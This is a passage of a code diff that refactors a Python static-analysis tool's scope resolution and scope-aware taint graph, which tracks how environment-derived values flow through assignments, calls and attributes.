tuple(dict.fromkeys(results)), value) - self._calls[call] = info - return info - - def is_value_call(self, node: ast.AST) -> bool: - if not isinstance(node, ast.Call): - return False - scope = self.call_scope.get(node) - return scope is not None and self.call_info(node, scope).value is not None - - # ── reads ── - - def flow_reads( - self, node: ast.AST, scope: _Scope, check_runtime: Callable[[], None] - ) -> Iterator[int]: - """Keys an expression's value depends on, for building flows. - - Names resolve through their scope; ``self.x`` resolves to the class - attribute; a call to a function defined in this file is read through - its value key and not re-walked, keeping nested calls linear. - """ - switch = self.scope_switch - queue: deque[tuple[ast.AST, _Scope]] = deque([(node, scope)]) - while queue: - check_runtime() - child, current = queue.popleft() - if isinstance(child, ast.Name): - yield self.resolve(current, child.id) - continue - if isinstance(child, ast.Call): - info = self.call_info(child, current) - if info.value is not None: - yield info.value - continue - elif isinstance(child, ast.Attribute): - yield from self.attribute_load(child, current) - for grandchild in ast.iter_child_nodes(child): - if not isinstance(grandchild, ast.expr_context): - queue.append((grandchild, switch.get(grandchild, current))) + found = _CallTargets(tuple(members), tuple(results)) if members else _NO_TARGETS + self._calls[call] = found + return found - def references( - self, - node: ast.AST, - scope: _Scope, - check_runtime: Callable[[], None], - *, - skip_root: bool = False, - ) -> Iterator[tuple[int, bool]]: - """Yield ``(key, plain_name)`` for every key an expression reads. - - Walks in ``ast.walk`` order. ``plain_name`` marks keys read through a - variable name (or ``name[...]``), the only reads earlier releases saw; - ``self.x`` and calls to functions defined in this file are the rest. - """ - switch = self.scope_switch - queue: deque[tuple[ast.AST, _Scope]] = deque([(node, scope)]) - while queue: - check_runtime() - child, current = queue.popleft() - if not (skip_root and child is node): - if isinstance(child, ast.Name): - yield self.resolve(current, child.id), True - elif isinstance(child, ast.Subscript) and isinstance(child.value, ast.Name): - yield self.resolve(current, child.value.id), True - elif isinstance(child, ast.Attribute): - for key in self.attribute_load(child, current): - yield key, False - elif isinstance(child, ast.Call): - info = self.call_info(child, current) - if info.value is not None: - yield info.value, False - for grandchild in ast.iter_child_nodes(child): - if not isinstance(grandchild, ast.expr_context): - queue.append((grandchild, switch.get(grandchild, current))) - - def assign_targets(self, target: ast.expr, scope: _Scope) -> list[int]: - """Keys written by one assignment target (names, ``self.x``, tuples of them).""" - elements = target.elts if isinstance(target, ast.Tuple) else [target] - targets: list[int] = [] - for element in elements: - if isinstance(element, ast.Name): - targets.append(self.resolve(scope, element.id)) - elif isinstance(element, ast.Attribute): - targets.extend(self.attribute_store(element, scope)) - return targets + # ── attributes ── + + def receiver_class(self, node: ast.Attribute) -> _Class | None: + """The class of ``self`` / ``cls`` in ``self.x`` / ``cls.x``, if it is one.""" + if not isinstance(node.value, ast.Name): + return None + receiver = self.receivers.get(self.name_key.get(node.value, -1)) + return receiver[0] if receiver is not None else None + + def attribute_store(self, node: ast.Attribute) -> int | None: + cls = self.receiver_class(node) + if cls is None: + return None + return self.synthetic(("store", cls.id, node.attr), False) + + def attribute_view(self, node: ast.Attribute) -> int | None: + """Key read by ``self.x`` / ``cls.x``: stores in the class and its bases.""" + key = self.views.get(node) + if key is not None: + return key + if not isinstance(node.ctx, ast.Load): + return None + cls = self.receiver_class(node) + if cls is None: + return None + ident = ("view", cls.id, node.attr) + key = self._ids.get(ident) + if key is None: + key = self.synthetic(ident, False) + self.view_list.append((cls, node.attr, key)) + self.views[node] = key + return key # ── debugging / tests ── def qualname(self, scope: _Scope) -> str: parts: list[str] = [] current: _Scope | None = scope - while current is not None and current.kind != "module": + while current is not None and current.kind != _MODULE: parent = current.parent - if parent is not None and parent.kind in ("function", "lambda", "comprehension"): + if parent is not None and parent.kind in (_FUNCTION, _LAMBDA, _COMPREHENSION): parts.append(f".{current.name}") else: parts.append(current.name) current = parent return ".".join(reversed(parts)) - def debug_name(self, key: int) -> str: - descriptor = self.keys.describe[key] - tag = descriptor[0] - if tag == "call": - call = descriptor[1] - assert isinstance(call, ast.Call) - return f"{self.keys.name(key)}@{call.lineno}:{call.col_offset}" - if isinstance(tag, int) and tag >= 0: - scope = self.scopes[tag] - name = str(descriptor[1]) - if scope.kind == "module": - return name - return f"{self.qualname(scope)}..{name}" - if tag in (-1, -2): - unit = descriptor[1] - assert isinstance(unit, int) - owner = self.logical[unit] if unit < len(self.logical) else None - label = self.qualname(owner.infos[0].scope) if owner is not None else f"<{unit}>" - prefix = "" if tag == -1 else "" - return f"{prefix}{label}.{descriptor[2]}" - if tag in (-3, -4, -5, -6): - return f"<{tag}>{descriptor[1:]}" - return repr(descriptor) - def _build_scope_index( tree: ast.AST, @@ -1316,55 +920,68 @@ def _build_scope_index( type_map: dict[str, str], check_runtime: Callable[[], None] | None = None, ) -> _ScopeIndex: - """Assign every node to its lexical scope and index callable definitions. + """Assign every name to its lexical scope and index in-file callees. - Visits nodes in ``ast.walk`` (breadth-first) order so statements are - recorded in the same order the order-independent taint pass always used. + Three linear passes: a breadth-first visit (the same order as + ``ast.walk``) that records scopes, bindings and flow statements; a + depth-first pass over the scope tree that resolves every name with one + stack per identifier, O(1) per name however deep the nesting; and an + indexing pass over class and function definitions. """ tick = check_runtime or _noop index = _ScopeIndex(aliases, type_map) - index.alias_roots = {name.split(".")[0] for name in aliases} - module = index.new_scope("module", "", None) - switch = index.scope_switch + module = index.new_scope(_MODULE, None, "") + # Nodes evaluated in a different scope than their parent (bodies of + # functions, classes and lambdas; comprehension elements). + switch: dict[ast.AST, _Scope] = {} # Walrus targets bind in the nearest enclosing non-comprehension scope. - walrus_scopes: dict[ast.Name, _Scope] = {} - # Values assigned to name / attribute targets, for receiver typing. - stored_values: dict[ast.AST, object] = {} + walrus: dict[ast.Name, _Scope] = {} - queue: deque[tuple[ast.AST, _Scope]] = deque( - (child, module) for child in ast.iter_child_nodes(tree) - ) + queue: deque[tuple[ast.AST, _Scope]] = deque([(tree, module)]) while queue: tick() node, scope = queue.popleft() - if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)): - scope.bound.add(node.name) - index.name_stores.append((scope, node.name, _KNOWN_VALUE)) - if isinstance(node, ast.ClassDef): - inner = index.new_scope("class", node.name, scope) - inner.class_info = _ClassInfo(node, inner, scope) - index.classes.append(inner.class_info) + if isinstance(node, ast.Name): + if isinstance(node.ctx, ast.Load): + scope.request(node) else: - inner = index.new_scope("function", node.name, scope) - inner.function = _FunctionInfo(node, inner) - index.functions.append(inner.function) - _bind_parameters(index, inner, node.args) - # Only the body runs in the new scope; decorators, defaults, - # annotations and bases are evaluated where the def/class stands. + binding = walrus.pop(node, scope) + binding.bind(node.id) + binding.request(node) + continue + if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)): + inner = index.new_scope(_FUNCTION, scope, node.name) + function = _Function(node, inner) + inner.function = function + index.functions.append(function) + scope.define(node.name, function) + for arg in _parameters(node.args): + inner.bind(arg.arg) + # Only the body runs in the new scope; decorators, defaults and + # annotations are evaluated where the def stands. + for statement in node.body: + switch[statement] = inner + elif isinstance(node, ast.ClassDef): + inner = index.new_scope(_CLASS, scope, node.name) + class_def = _ClassDef(node, inner) + inner.class_def = class_def + index.class_defs.append(class_def) + scope.define(node.name, class_def) for statement in node.body: switch[statement] = inner elif isinstance(node, ast.Lambda): - inner = index.new_scope("lambda", "", scope) - inner.function = _FunctionInfo(node, inner) - index.functions.append(inner.function) - index.lambdas[node] = inner.function - _bind_parameters(index, inner, node.args) + inner = index.new_scope(_LAMBDA, scope, "") + function = _Function(node, inner) + inner.function = function + index.functions.append(function) + index.lambdas[node] = function + for arg in _parameters(node.args): + inner.bind(arg.arg) switch[node.body] = inner - index.statements.append((node, inner)) - elif isinstance(node, _Comprehension): + elif isinstance(node, _COMPREHENSIONS): # Python 3 comprehensions have their own scope; only the first # iterable is evaluated in the enclosing one. - inner = index.new_scope("comprehension", f"<{type(node).__name__.lower()}>", scope) + inner = index.new_scope(_COMPREHENSION, scope, f"<{type(node).__name__.lower()}>") if isinstance(node, ast.DictComp): switch[node.key] = inner switch[node.value] = inner @@ -1376,334 +993,242 @@ def _build_scope_index( switch[condition] = inner if position: switch[generator.iter] = inner - index.statements.append((generator, inner)) elif isinstance(node, ast.NamedExpr): binding = scope - while binding.kind == "comprehension" and binding.parent is not None: + while binding.kind == _COMPREHENSION and binding.parent is not None: binding = binding.parent - walrus_scopes[node.target] = binding - stored_values[node.target] = node.value - elif isinstance(node, ast.Name): - if isinstance(node.ctx, (ast.Store, ast.Del)): - binding = walrus_scopes.pop(node, scope) - binding.bound.add(node.id) - if isinstance(node.ctx, ast.Store): - value = stored_values.pop(node, _UNKNOWN_VALUE) - index.name_stores.append((binding, node.id, value)) - elif isinstance(node, ast.Attribute): - if isinstance(node.value, ast.Name): - if isinstance(node.ctx, ast.Load): - index.attribute_loads.append((node, scope)) - elif isinstance(node.ctx, ast.Store): - value = stored_values.pop(node, _UNKNOWN_VALUE) - index.attribute_stores.append((scope, node, value)) + if isinstance(node.target, ast.Name): + walrus[node.target] = binding elif isinstance(node, ast.Global): + if scope.declared_global is None: + scope.declared_global = set() scope.declared_global.update(node.names) elif isinstance(node, ast.Nonlocal): + if scope.declared_nonlocal is None: + scope.declared_nonlocal = set() scope.declared_nonlocal.update(node.names) elif isinstance(node, (ast.Import, ast.ImportFrom)): for alias in node.names: if alias.name != "*": - local = alias.asname or alias.name.split(".")[0] - scope.bound.add(local) - index.name_stores.append((scope, local, _KNOWN_VALUE)) - elif isinstance(node, ast.ExceptHandler) and node.name: - scope.bound.add(node.name) - index.name_stores.append((scope, node.name, _UNKNOWN_VALUE)) - elif isinstance(node, (ast.MatchAs, ast.MatchStar)) and node.name: - scope.bound.add(node.name) - index.name_stores.append((scope, node.name, _UNKNOWN_VALUE)) - elif isinstance(node, ast.MatchMapping) and node.rest: - scope.bound.add(node.rest) - index.name_stores.append((scope, node.rest, _UNKNOWN_VALUE)) + scope.bind(alias.asname or alias.name.split(".")[0]) + elif isinstance(node, ast.ExceptHandler): + if node.name: + scope.bind(node.name) + elif isinstance(node, (ast.MatchAs, ast.MatchStar)): + if node.name: + scope.bind(node.name) + elif isinstance(node, ast.MatchMapping): + if node.rest: + scope.bind(node.rest) elif isinstance(node, ast.Assign): index.statements.append((node, scope)) - for target in node.targets: - if isinstance(target, (ast.Name, ast.Attribute)): - stored_values[target] = node.value - if isinstance(target, ast.Name) and isinstance(node.value, ast.Lambda): - index.lambda_bindings.append((scope, target.id, node.value)) - elif isinstance(node, ast.AnnAssign): - if node.value is not None and isinstance(node.target, (ast.Name, ast.Attribute)): - stored_values[node.target] = node.value - elif isinstance(node, (ast.With, ast.AsyncWith)): - for item in node.items: - target = item.optional_vars - if isinstance(target, (ast.Name, ast.Attribute)): - stored_values[target] = item.context_expr + if isinstance(node.value, ast.Lambda): + for target in node.targets: + if isinstance(target, ast.Name): + index.lambda_bindings.append((target, node.value)) elif isinstance(node, ast.Return): index.statements.append((node, scope)) elif isinstance(node, ast.Call): - index.call_scope[node] = scope index.statements.append((node, scope)) + if isinstance(node.func, ast.Name) and node.func.id == "super": + index.super_scopes[node] = scope + elif isinstance(node, ast.Attribute): + if isinstance(node.value, ast.Name): + index.attributes.append(node) for child in ast.iter_child_nodes(node): if not isinstance(child, ast.expr_context): - queue.append((child, switch.get(child, scope))) + queue.append((child, switch.pop(child, scope))) - _index_classes(index, tick) - _index_callables(index, tick) - _index_types(index, tick) + _resolve_names(index, tick) + _index_definitions(index, tick) return index -def _bind_parameters(index: _ScopeIndex, scope: _Scope, args: ast.arguments) -> None: - """Parameters are local, and hold whatever callers pass (untyped).""" - for arg in _parameters(args): - scope.bound.add(arg.arg) - index.name_stores.append((scope, arg.arg, _UNKNOWN_VALUE)) +def _resolve_names(index: _ScopeIndex, tick: Callable[[], None]) -> None: + """Resolve every recorded name by Python's rules, O(1) per name. + A depth-first walk of the scope tree keeps, per identifier, a stack of + the function-like scopes that bind it (``global`` pushes the module). + A name read in a function, lambda or comprehension is local if bound + there unless declared ``global``/``nonlocal``, and otherwise resolves to + the nearest enclosing binder, then the module. Class bodies see their own + names but are invisible to the functions and comprehensions inside them. + """ + module = index.module + stacks: dict[str, list[_Scope]] = {} + + def binding_scope(scope: _Scope, name: str) -> _Scope: + if scope.declared_global is not None and name in scope.declared_global: + return module + if scope.kind == _MODULE: + return module + if scope.kind == _CLASS: + nonlocal_names = scope.declared_nonlocal + if ( + scope.bound is not None + and name in scope.bound + and (nonlocal_names is None or name not in nonlocal_names) + ): + return scope + stack = stacks.get(name) + return stack[-1] if stack else module + + work: list[tuple[_Scope, list[str] | None]] = [(module, None)] + while work: + scope, pushed = work.pop() + if pushed is not None: + for name in pushed: + stacks[name].pop() + continue + tick() + names: list[str] = [] + if scope.kind not in (_MODULE, _CLASS): + declared_global = scope.declared_global or set() + declared_nonlocal = scope.declared_nonlocal or set() + for name in declared_global: + stacks.setdefault(name, []).append(module) + names.append(name) + for name in scope.bound or (): + if name not in declared_global and name not in declared_nonlocal: + stacks.setdefault(name, []).append(scope) + names.append(name) + for node in scope.names or (): + tick() + index.name_key[node] = index.key(binding_scope(scope, node.id), node.id) + for name, definition in scope.definitions or (): + tick() + definition.key = index.key(binding_scope(scope, name), name) + work.append((scope, names)) + if scope.children: + work.extend((child, None) for child in reversed(scope.children)) -def _index_classes(index: _ScopeIndex, tick: Callable[[], None]) -> None: - """Merge redefinitions, link in-file bases lexically, and size each hierarchy. - Attributes are tracked per class in hierarchies of at most - ``_PRECISE_HIERARCHY_LIMIT`` classes and per hierarchy above that. - """ - by_binding: dict[tuple[int, str], _LogicalClass] = {} - for info in index.classes: +def _index_definitions(index: _ScopeIndex, tick: Callable[[], None]) -> None: + """Merge class redefinitions, link in-file bases, and group callees.""" + for class_def in index.class_defs: tick() - binding = index.binding_scope(info.parent, info.node.name) - identity = (binding.id, info.node.name) - cls = by_binding.get(identity) + cls = index.class_of_key.get(class_def.key) if cls is None: - cls = _LogicalClass(len(index.logical), info.node.name) - index.logical.append(cls) - by_binding[identity] = cls - cls.infos.append(info) - info.logical = cls - for cls in index.logical: + cls = _Class(len(index.classes)) + index.classes.append(cls) + index.class_of_key[class_def.key] = cls + cls.defs.append(class_def) + class_def.cls = cls + for cls in index.classes: linked = {cls.id} - for info in cls.infos: - for base in info.node.bases: + for class_def in cls.defs: + for base in class_def.node.bases: tick() + if isinstance(base, ast.Subscript): # Base[T] + base = base.value if not isinstance(base, ast.Name): continue - binding = index.binding_scope(info.parent, base.id) - parent = by_binding.get((binding.id, base.id)) + parent = index.class_of_key.get(index.name_key.get(base, -1)) if parent is not None and parent.id not in linked: linked.add(parent.id) cls.bases.append(parent) - parent.subclasses.append(cls) - - components: list[list[_LogicalClass]] = [] - for cls in index.logical: - tick() - if cls.component >= 0: - continue - cls.component = len(components) - members = [cls] - stack = [cls] - while stack: - current = stack.pop() - for other in (*current.bases, *current.subclasses): - if other.component < 0: - other.component = cls.component - members.append(other) - stack.append(other) - components.append(members) - - for members in components: - precise = len(members) <= _PRECISE_HIERARCHY_LIMIT - merged_unit = len(index.logical) + members[0].component - for cls in members: - tick() - cls.precise = precise - cls.unit = cls.id if precise else merged_unit - if not precise: - continue - cls.ancestors = _closure(cls, lambda c: c.bases) - cls.descendants = _closure(cls, lambda c: c.subclasses) - cls.mro = _linearize(cls) - if not precise: - continue - by_id = {cls.id: cls for cls in members} - for cls in members: - tick() - sharing: set[int] = set() - for descendant in cls.descendants: - sharing |= by_id[descendant].ancestors - cls.sharing_ids = sharing - cls.sharing = [other for other in members if other.id in sharing] - - -def _closure(cls: _LogicalClass, edges: Callable[[_LogicalClass], list[_LogicalClass]]) -> set[int]: - seen = {cls.id} - stack = [cls] - while stack: - for other in edges(stack.pop()): - if other.id not in seen: - seen.add(other.id) - stack.append(other) - return seen - - -def _index_callables(index: _ScopeIndex, tick: Callable[[], None]) -> None: - """Group functions by the name calls reach them through.""" for function in index.functions: tick() node = function.node if isinstance(node, ast.Lambda): continue parent = function.scope.parent - assert parent is not None - if parent.kind == "class" and parent.class_info is not None: - cls = parent.class_info.logical - assert cls is not None - kind = _method_kind(node) - function.kind = kind - cls.methods.add(node.name) - group = index.group(("method", cls.unit, node.name, kind), kind, node.name) - if not group.functions: - index.unit_groups.setdefault((cls.unit, node.name), []).append(group) - group.add(function) - function.groups.append(group) - fallback = index.group(("any", node.name, kind), kind, node.name) - if not fallback.functions: - index.fallback_groups.setdefault(node.name, []).append(fallback) - fallback.add(function) - if any(_decorator_name(d) in _PROPERTY_DECORATORS for d in node.decorator_list): - cls.properties.add(node.name) - positional = [*node.args.posonlyargs, *node.args.args] - if kind != "static" and positional: - key = index.binding_key(function.scope, positional[0].arg) - index.self_keys[key] = (cls, kind == "class") - else: - key = index.resolve(parent, node.name) - _add_function_group(index, key, node.name, function) - for scope, name, lambda_node in index.lambda_bindings: + if parent is None or parent.class_def is None or parent.class_def.cls is None: + index.function_group(function.key).add(function) + continue + # A method is reached through its class, never by its bare name. + cls = parent.class_def.cls + kind = _method_kind(node) + function.kind = kind + index.method_group(cls, node.name, kind).add(function) + positional = [*node.args.posonlyargs, *node.args.args] + if kind != "static" and positional: + receiver_key = index.key(function.scope, positional[0].arg) + index.receivers[receiver_key] = (cls, kind == "class") + for target, lambda_node in index.lambda_bindings: tick() function = index.lambdas.get(lambda_node) - if function is not None: - _add_function_group(index, index.resolve(scope, name), name, function) - for cls in index.logical: - tick() - if cls.precise: - for name in cls.methods: - index.definers.setdefault((cls.component, name), []).append(cls) - # Redefinitions share one binding, so this runs once per class. - key = index.resolve(cls.infos[0].parent, cls.name) - index.classes_by_key.setdefault(key, []).append(cls) - - -def _add_function_group(index: _ScopeIndex, key: int, name: str, function: _FunctionInfo) -> None: - group = index.group(("function", key), "function", name) - if not group.functions: - index.function_groups.setdefault(key, []).append(group) - group.add(function) - function.groups.append(group) - - -def _index_types(index: _ScopeIndex, tick: Callable[[], None]) -> None: - """Record which in-file classes each variable and attribute may hold.""" - - def record(key: int, scope: _Scope, value: object) -> None: - info = index.var_types.get(key) - if info is None: - info = _TypeInfo() - index.var_types[key] = info - if value is _UNKNOWN_VALUE or value is _KNOWN_VALUE: - found = value - else: - assert isinstance(value, ast.expr) - found = index.value_type(value, scope) - if isinstance(found, tuple): - classes, dynamic = found - info.classes.extend(cls for cls in classes if cls not in info.classes) - info.dynamic = info.dynamic or dynamic - elif found is _UNKNOWN_VALUE: - info.unknown = True - - for scope, name, value in index.name_stores: - tick() - record(index.resolve(scope, name), scope, value) - for scope, attribute, value in index.attribute_stores: - tick() - for key in index.attribute_store(attribute, scope): - record(key, scope, value) + key = index.name_key.get(target) + if function is not None and key is not None: + index.function_group(key).add(function) def _mark_targets( graph: _TaintGraph, targets: Sequence[int], kind: int, - arg: int, - source_owner: int, - label: int, line: int, - node: ast.AST, -) -> list[tuple[int, int]]: - """Add one source fact to each target that lacks it. - - Add-only: an existing fact is never overwritten, so taint can only grow. - A fact that reached a function through one of its own parameters keeps - that mark while it stays in the function's locals and is dropped at the - function's own ``return``. Returns the facts newly added, for the - worklist to propagate from. + fact: _Fact, + bound: int, + lanes: int = _BOTH_LANES, +) -> list[tuple[int, int, int]]: + """Give each target *fact*, in each of *lanes*, where it outranks what it holds. + + Monotone: a target's fact in a lane is only ever replaced by a strictly + more severe source for that lane, so each key changes at most twice per + lane and slot, and the worklist terminates. A key has two slots: ordinary + facts, and facts bound from a call site into a function's parameters + (``bound``). A bound fact stays bound in function locals; module, class + and attribute state turns it into an ordinary fact. Returns the + (key, slot, changed lanes) triples to propagate from. """ - newly_tainted: list[tuple[int, int]] = [] - source_label = label & ~1 - from_parameter = label & 1 - if kind == _ASSIGN: - line = arg - owners = graph.keys.owner + source, fact_line = fact + if kind != _PASS: + fact_line = line + if kind == _BIND: + bound = 1 + new_fact = (source, fact_line) + ranks = _LANE_RANKS[source] + local = graph.index.local facts = graph.facts - for target in targets: - if kind == _BIND: - out = source_label | 1 - elif kind == _RETURN: - if from_parameter and source_owner == arg: + ordinary = facts[0] + tick = graph.tick + changed: list[tuple[int, int, int]] = [] + for position, target in enumerate(targets): + if position and not position & 1023: + tick() + slot = 1 if bound and local[target] else 0 + held = facts[slot] + mask = 0 + for lane in (0, 1): + if not lanes >> lane & 1: continue - out = source_label - elif from_parameter and owners[target] == source_owner: - out = label - else: - out = source_label - entry = facts.get(target) - if entry is None: - facts[target] = {out: (line, node)} - elif out in entry: - continue - else: - entry[out] = (line, node) - newly_tainted.append((target, out)) - return newly_tainted + rank = ranks[lane] + current = ordinary[lane].get(target) + if current is not None and _LANE_RANKS[current[0]][lane] >= rank: + continue + if slot: + current = held[lane].get(target) + if current is not None and _LANE_RANKS[current[0]][lane] >= rank: + continue + held[lane][target] = new_fact + mask |= 1 << lane + if mask: + changed.append((target, slot, mask)) + return changed class _TaintGraph: """Scope-aware taint, independent of AST visit order. - Any single ordered pass over the tree misses flows where a sink and the - assignment that taints it are visited in the "wrong" relative order: a - function body defined before the module-level assignment it reads only - runs after that assignment. Taint is therefore computed as reachability in - a flow graph whose nodes are keys (see ``_Keys``): - - * every ``Assign`` flows from the keys its value reads to its targets; - * every argument of a call to a function defined in this file flows to - that callee's argument slot, and each slot flows to the parameter it - binds (positionally, by keyword, or into ``*args``/``**kwargs``); a - function passed as a callback (``Thread(target=f, args=(x,))``, - ``executor.submit(f, x)``) receives the arguments that follow it; - * every ``return`` flows into the function's return value, which each - call to it reads; parameter defaults flow into their parameter; a - comprehension's iterable flows into its targets. - - A flow whose value contains source calls (or ``os.environ[...]``) seeds - its targets with each of them. Each key keeps one fact per source, so a - later, stronger source is never hidden by an earlier one. Flows are - recorded once each, keyed by a stable id and indexed by every key they - read. A monotone worklist then drains new facts, firing each flow AT MOST - ONCE per source: its targets already hold that source after the first - firing, so a later firing could add nothing. - - Taint is add-only and bounded by keys x sources, so the loop cannot - oscillate and terminates; the work is linear in the flows plus their - references. - - Before scoping, keys were bare names shared by the whole file, so a - tainted ``headers`` local in one function tainted an unrelated - ``headers`` parameter elsewhere — reported as TT3 once 26bc7d6 (#611) - made propagation order-independent. + Taint is reachability in a flow graph over keys, computed with a monotone + worklist that fires each flow at most once per (lane, source rank, slot), + so at most 12 times whatever the number of sources: + + * phase A replays exactly the assignment flows earlier releases used + (``x = `` reads every name in ````), in the same order, so a + flow both versions report cites the same variable, source and line; + * phase B adds what scoping makes precise: arguments of direct in-file + calls bind into parameters (as bound facts), parameter defaults, + return summaries read by callers, and ``self.x`` / ``cls.x`` attributes. + Phase B never replaces a fact by one of equal rank, so it only fills + keys phase A left clean or upgrades them to a more severe source. + + A callee's return summary carries only facts that do not depend on its + parameters: bound facts never enter it. What a call returns from its + own arguments is read at that call site, from those arguments (every + call's value includes its arguments, as before), so one caller's secret + cannot taint another caller's result, also through closures and lambdas. """ def __init__( @@ -1714,367 +1239,325 @@ def __init__( check_runtime: Callable[[], None] | None = None, ) -> None: self.index = index - self.keys = index.keys self.type_map = type_map self.aliases = aliases self.tick = check_runtime or _noop - self.check_runtime = check_runtime - # key -> {label: (line, source node)} - self.facts: dict[int, dict[int, tuple[int, ast.AST]]] = {} - # Each flow's (targets, kind, kind argument), keyed by its index here - # (a stable id). ``propagators`` maps a key read by a flow to its ids. + # facts[slot][lane]: key -> fact; slot 1 holds facts bound from a call site. + self.facts: tuple[tuple[dict[int, _Fact], dict[int, _Fact]], ...] = ( + ({}, {}), + ({}, {}), + ) + # Each flow's (targets, kind, line), keyed by its index (a stable id). + # ``prop_a`` / ``prop_b`` map a key read by a phase A / B flow to its ids. self.flows: list[tuple[tuple[int, ...], int, int]] = [] - self.propagators: dict[int, list[int]] = {} - self.worklist: deque[tuple[int, int]] = deque() - self._result_sets: dict[tuple[int, ...], int] = {} - # Reads and direct sources of a call's arguments, walked once for both - # the call's value and its argument binding. - self._arguments: dict[ast.AST, tuple[list[int], list[tuple[str, ast.AST]]]] = {} + self.prop_a: dict[int, list[int]] = {} + self.prop_b: dict[int, list[int]] = {} + self.worklist: deque[tuple[int, int, int]] = deque() + self.seeds: list[tuple[tuple[int, ...], int, int, _Fact, int]] = [] + # Per flow, one bit per (lane, source rank, slot) it has already propagated. + self.fired: list[int] = [] + self.returns: dict[int, int] = {} # group id -> return summary key + self._values: dict[ast.Call, int] = {} + self._class_links: set[tuple[int, str]] = set() # ── building ── - def add_edge(self, reads: Iterable[int], targets: tuple[int, ...], kind: int, arg: int) -> None: + def add_flow( + self, reads: Iterable[int], targets: Sequence[int], kind: int, line: int, phase_a: bool + ) -> None: if not targets: return + keys = list(dict.fromkeys(reads)) + if not keys: + return flow_id = len(self.flows) - self.flows.append((targets, kind, arg)) - propagators = self.propagators - for key in dict.fromkeys(reads): - propagators.setdefault(key, []).append(flow_id) + self.flows.append((tuple(targets), kind, line)) + table = self.prop_a if phase_a else self.prop_b + for key in keys: + table.setdefault(key, []).append(flow_id) def seed( - self, - targets: tuple[int, ...], - kind: int, - arg: int, - sources: list[tuple[str, ast.AST]], - line: int, + self, targets: Sequence[int], kind: int, line: int, sources: list[tuple[str, int]] ) -> None: - for name, node in sources: - label = 2 * _SOURCE_INDEX[name] - self.worklist.extend( - _mark_targets(self, targets, kind, arg, _NO_OWNER, label, line, node) - ) - - def flow( - self, - value: ast.expr, - scope: _Scope, - targets: tuple[int, ...], - kind: int, - arg: int, - line: int, - ) -> None: - """Flow *value* into *targets*: seed its direct sources, edge its reads.""" - if not targets: - return - sources = _direct_sources(value, self.type_map, self.aliases, self.check_runtime) - if sources: - self.seed(targets, kind, arg, sources, line) - self.add_edge(self.index.flow_reads(value, scope, self.tick), targets, kind, arg) - - def argument( - self, value: ast.expr, scope: _Scope - ) -> tuple[list[int], list[tuple[str, ast.AST]]]: - """Reads and direct sources of one call argument, walked once. - - Stops at calls to functions defined in this file: their own value key - already carries the sources in their arguments, so nested calls are - walked once each rather than once per enclosing call. - """ - cached = self._arguments.pop(value, None) - if cached is None: - cached = ( - list(dict.fromkeys(self.index.flow_reads(value, scope, self.tick))), - _direct_sources( - value, self.type_map, self.aliases, self.check_runtime, self.index.is_value_call - ), - ) - return cached - - def argument_flow( - self, value: ast.expr, scope: _Scope, targets: tuple[int, ...], line: int - ) -> None: - if not targets: - return - reads, sources = self.argument(value, scope) - if sources: - self.seed(targets, _ASSIGN, line, sources, line) - self.add_edge(reads, targets, _ASSIGN, line) - - def group_returns(self, group: _Group) -> int: - if group.returns is None: - group.returns = self.keys.get((-4, group.id), _NO_OWNER, (group.label, "()")) - return group.returns - - def result_key(self, groups: tuple[_Group, ...]) -> int: - if len(groups) == 1: - return self.group_returns(groups[0]) - identity = tuple(group.id for group in groups) - key = self._result_sets.get(identity) + """Queue phase B sources for *targets* (applied after phase A).""" + if targets: + for source, lanes in sources: + fact = (_SOURCE_INDEX[source], line) + self.seeds.append((tuple(targets), kind, line, fact, lanes)) + + def ret_key(self, group: _Group) -> int: + key = self.returns.get(group.id) if key is None: - key = self.keys.get((-5, identity), _NO_OWNER, (groups[0].label, "()")) - self._result_sets[identity] = key - self.add_edge([self.group_returns(group) for group in groups], (key,), _PASS, 0) + key = self.index.synthetic(("return", group.id), False) + self.returns[group.id] = key return key - def slot(self, group: _Group, slot: object) -> int: - key = group.slots.get(slot) + def value_key(self, call: ast.Call, root: _Scope) -> int | None: + """Key of an in-file call's value, for an enclosing call's arguments. + + Reading a nested in-file call through its own value key walks each + argument once, however deeply such calls nest. + """ + if self.index.call_targets(call, self.tick) is _NO_TARGETS: + return None + key = self._values.get(call) if key is None: - key = self.keys.get((-3, group.id, slot), _NO_OWNER, "") - group.slots[slot] = key + key = self.index.synthetic(("value", id(call)), root.in_function) + self._values[call] = key return key - def member_slots(self, group: _Group, offset: int, slot: object) -> list[int]: - if isinstance(slot, int): - position = slot + offset - return [self.slot(group, position if position < _MAX_POSITIONAL_SLOTS else "*")] - if slot in ("*", "**"): - return [self.slot(group, slot)] - assert isinstance(slot, str) - keys: list[int] = [] - if slot in group.keyword_params: - keys.append(self.slot(group, slot)) - if group.has_kwarg: - keys.append(self.slot(group, "kw*")) - return keys - - def binding_targets(self, bset: _BindingSet, slot: object) -> tuple[int, ...]: - """Slot keys an argument in call-relative *slot* flows into. - - Several callees share one intermediate key per slot, so each argument - is one edge however many methods a receiver may dispatch to. + def scan( + self, node: ast.AST, root: _Scope, nested_values: bool + ) -> tuple[list[int], list[int], list[tuple[str, int]]]: + """Walk an expression once: (names read, other keys read, sources). + + Names are the reads earlier releases used. Other keys are the return + summaries of in-file calls and ``self.x`` attributes. With + *nested_values*, an in-file call is read through its value key and not + walked. Sources are the most severe source call per lane (first in walk + order among equals), with the lanes each one is for, or an + ``os.environ[...]`` subscript as the whole expression. """ - cached = bset.targets.get(slot) - if cached is None: - member_keys: list[int] = [] - for group, offset in bset.members: - member_keys.extend(self.member_slots(group, offset, slot)) - members = tuple(dict.fromkeys(member_keys)) - if len(members) > 1: - key = self.keys.get((-6, bset.id, slot), _NO_OWNER, "") - self.add_edge((key,), members, _PASS, 0) - cached = (key,) - else: - cached = members - bset.targets[slot] = cached - return cached - - def bind_arguments( - self, - bset: _BindingSet, - args: Sequence[ast.expr], - keywords: Sequence[tuple[str | None, ast.expr]], - scope: _Scope, - line: int, - ) -> None: - unpacked = False - for position, arg in enumerate(args): - if isinstance(arg, ast.Starred): - unpacked, arg = True, arg.value - slot: object = "*" if unpacked or position >= _MAX_POSITIONAL_SLOTS else position - self.argument_flow(arg, scope, self.binding_targets(bset, slot), line) - for name, value in keywords: - slot = "**" if name is None else name - self.argument_flow(value, scope, self.binding_targets(bset, slot), line) - - def call(self, call: ast.Call, scope: _Scope) -> None: - info = self.index.call_info(call, scope) - if info.value is not None: - # The call's value: the callees' return values plus everything its - # receiver and arguments read (an over-approximation earlier - # releases also made for every 